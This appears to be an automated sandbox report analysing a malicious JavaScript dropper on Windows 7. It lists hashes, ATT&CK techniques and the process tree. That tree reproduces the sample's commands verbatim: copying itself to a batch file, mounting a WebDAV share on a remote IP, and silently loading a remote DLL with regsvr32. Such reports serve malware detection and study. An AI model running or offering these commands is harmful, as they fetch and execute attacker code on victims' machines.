aa9268abf0c0550ca7ec16d6583b30db880b39595be59c2120bcc7fa0280f68d

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 23:40

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General

Target

1568330211307331405.js
Size

5KB
MD5

552e3309af30fff843239b7b2162f5b4
SHA1

b024608b81d8c0185a756533a7171ba62257e2ed
SHA256

aa9268abf0c0550ca7ec16d6583b30db880b39595be59c2120bcc7fa0280f68d
SHA512

6ed5f6c9dc597db69f1906cb7ad9452c7d0026381d07e7fb417846c902aefb98102f8fe3f3b29d29070c8093e56736455c4ce751fcd6a71efdf027058d6ba82a
SSDEEP

96:iY7pGgBIPyIltfgLfOGC6FJJKdJsZ7gSvkgK:i286IPyIltfgL9/FJJK/sZ7gwkd

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2560	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 2440	2292	wscript.exe	30
PID 2292 wrote to memory of 2440	2292	wscript.exe	30
PID 2292 wrote to memory of 2440	2292	wscript.exe	30
PID 2440 wrote to memory of 2516	2440	cmd.exe	32
PID 2440 wrote to memory of 2516	2440	cmd.exe	32
PID 2440 wrote to memory of 2516	2440	cmd.exe	32
PID 2440 wrote to memory of 2560	2440	cmd.exe	33
PID 2440 wrote to memory of 2560	2440	cmd.exe	33
PID 2440 wrote to memory of 2560	2440	cmd.exe	33
PID 2440 wrote to memory of 2560	2440	cmd.exe	33
PID 2440 wrote to memory of 2560	2440	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1568330211307331405.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1568330211307331405.js" "C:\Users\Admin\\dowgwh.bat" && "C:\Users\Admin\\dowgwh.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2516
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\219.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\dowgwh.bat

Filesize
5KB

MD5
552e3309af30fff843239b7b2162f5b4

SHA1
b024608b81d8c0185a756533a7171ba62257e2ed

SHA256
aa9268abf0c0550ca7ec16d6583b30db880b39595be59c2120bcc7fa0280f68d

SHA512
6ed5f6c9dc597db69f1906cb7ad9452c7d0026381d07e7fb417846c902aefb98102f8fe3f3b29d29070c8093e56736455c4ce751fcd6a71efdf027058d6ba82a

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